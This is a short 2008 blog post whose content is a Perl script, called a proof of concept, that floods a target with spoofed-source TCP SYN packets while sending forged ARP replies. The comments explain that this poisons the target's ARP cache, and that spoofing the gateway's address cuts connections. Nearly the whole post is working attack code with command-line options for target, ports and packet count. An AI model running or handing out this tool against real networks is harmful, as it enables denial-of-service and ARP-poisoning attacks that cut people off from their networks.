Friday, April 25, 2008

ARP poison + spoofed IP SYN flood


#!/usr/bin/perl
# this is a proof of concept. it originally started as a syn flooder for
# stress testing, now it's something a bit more elaborate. it still syn floods,
# however, it also sends out spoofed arp replies from the spoofed source address
# which causes the target machine to cache the spoofed IP's for a longer time, which
# results in connection loss.
#
# another reason for connection loss is when the spoofed source IP is equal to the
# ip of the gateway router, which changes the mac address. a single packet will drop
# a connection. this method is your basic man in the middle/arp posioning DoS.
#
#
# - nwo 4/16/2008
####

require 'getopts.pl';

### need to utilize raw sockets to allow spoofing and specify source ports.
use Net::RawIP;
use Net::ARP;
use Net::Pcap;

$dev = Net::Pcap::lookupdev(\$errbuf);

Getopts('t:p:n:');


### function to create random IP's.
sub randip () {
$oct1 = int rand(200);
$oct2 = int rand(200);
$oct3 = int rand(200);
$oct4 = int rand(200);
$ip = join('.', "10","$oct2","$oct3","$oct4");
return("$ip");
}
### function to spoof mac addresses. *not pretty*
sub randmac () {
$i1 = int rand(10);
$i2 = int rand(10);
$i3 = int rand(10);
$rmac = join(':', $i1,$i2,$i3,$i1,$i2,$i3);
return("$rmac");
}

die "Usage: $0 -t -p -n \n"
unless ($opt_t && $opt_p && $opt_n);

### allow the user to specify a list of comma seperated ports via the command line.
@ports = split(/\,/, $opt_p);
$list = @ports;

$syn = new Net::RawIP;
### For some reason, arp_lookup doesn't always get the mac address on the first try
Net::ARP::arp_lookup($dev,$opt_t,$mac);
if($mac eq "Unknown") {
Net::ARP::arp_lookup($dev,$opt_t,$mac);
if($mac eq "Unknown") {
print "Unable to lookup MAC address.\n";
exit(1);
}
}

### super awesome output.
print "Mac found - $mac\n";
print "Hitting $opt_t on port(s) @ports with $opt_n packets....\n";
### start the loop
for($i = 1;$i < $opt_n;$i++) {
### randomly select a port out of the @ports array
$nlist = int rand($list);
$dport = $ports[$nlist];
$ranip = &randip;
$ranmac = &randmac;
$rport = int rand(65535);

### set up the socket..
$syn->set({
ip => {
daddr => $opt_t,
saddr => $ranip,
},

### specify the destination port and source port.. make sure the syn flag is enabled to
### drop the services. it's possible that using an icmp packet would be more effective
### because the target machine will stop receiving packets if the service goes down due
### the syn flood - that said, most everyone firewalls against icmp these days.
tcp => {
dest => $dport,
source => $rport,
ack => 0,
urg => 0,
rst => 0,
fin => 0,
psh => 0,
syn => 1
}
});
### send the packet!
$syn->send;
### now send a spoofed ARP reply from the spoofed IP so that the target machine caches the IP
### with the fake mac address so that it stores it, rather than clearing them due to invalid
### mac addresses. this also generates a lot of network traffic and congestion because of all
### of the 'who has' messages and replies - plus the tcp-syn+rst generated when the target machine
### realizes that the connection attempt is invalid.
Net::ARP::send_packet($dev,
$ranip,
$opt_t,
$ranmac,
$mac,
'reply');
}

No comments: